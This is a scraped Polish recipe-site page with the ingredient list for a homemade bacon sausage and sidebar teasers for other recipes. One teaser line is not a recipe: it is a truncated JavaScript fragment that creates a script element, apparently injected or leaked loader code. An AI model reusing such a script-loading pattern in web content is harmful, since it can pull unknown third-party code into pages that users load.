Kiełbasa boczkowa
Źródło: https://smakijackaw.blogspot.com/2018/10/kiebasa-boczkowa.html
Autor: jacek wiertel
SUROWIEC I ROZDRABNIANIE-boczek bez skory 4 kg / krojony w kostke 3 cm-1 szt. golonka tylna / 2,5 mmPRZYPRAWY I MATERIAŁY POMOCNICZE-peklosol 19-20 g/kg-czosnek swiezy 6 g/kg-gorczyca mielona biala 2 g/kg-pieprz bialy 2 g/kg-pieprz czarny 1 g/ kg-galka muszkatolowa 0,5 /kg-ziele angielskie 0,5 g/kg-woda 300 ml boczku + 100 ml do golonki-oslonki bialkowe rozmiar 55-65 fiWYKONANIEKupion...
Najnowsze przepisy
Mięciutkie ciasto marchewkowe – wilgotny i delikatny... ⇖ 9
Czy diabetyk może jeść pizzę? To pytanie nurtuje wiele... ⇖ 11
Zapiekanka ryżowa z mięsem to świetna okazja do zużycia... ⇖ 14
(function(){ zsif=document.createElement("script");zsif_=("o ⇖ 14
Naleśniki napełnione po same brzegi pysznym mięsnym... ⇖ 21
Ciasto bananowe, łatwe i szybkie, idealne na wykorzystanie... ⇖ 19
Prościej się chyba nie da. Przy czym dostajemy bardzo... ⇖ 21
Ziemniaki zapiekane z brokułem to propozycja na prosty, a... ⇖ 23
Przepisy z bloga
SUROWIEC-400 g mięso z łopatki-300 g mięso drobiowe-300... ⇖ 350
SUROWIEC I ROZDRABNIANIEMielenie odbywało się na maszynce... ⇖ 244
SKŁADNIKI I PRZYPRAWY I MATERIAŁY POMOCNICZE-karkówka... ⇖ 1858
SUROWIECWP-boczek bez skóry 1 kg-pachwina bez skóry1... ⇖ 251
SUROWIEC I ROZDRABNIANIE-łopatka 2 kg/8 mm-pachwina 0,5... ⇖ 305
SUROWIEC, PRZYPRAWY I MATERIAŁY POMOCNICZE-ćwiartki z... ⇖ 337
Przepisy na czasie
Szukasz pomysłu na jajka wielkanocne? Ten przepis na jajka... ⇖ 706
Upieczenie tej fikuśnej babki (zwanej na wielu stronach... ⇖ 644
Święta Wielkanocne to idealny czas na kreatywne i... ⇖ 319
Jeśli szukacie pomysłu na wypiek, który zachwyci gości,... ⇖ 312
Ciasto Iskierka z musem brzoskwiniowym i krememCiasto... ⇖ 248
Ciasto tortowe z kremem, galaretką i śmietanąCiasto... ⇖ 203
Szukasz pomysłu na szybkie i smaczne jajka w sosie... ⇖ 193
Sernik z brzoskwiniami na kruchym kakaowym cieście to... ⇖ 189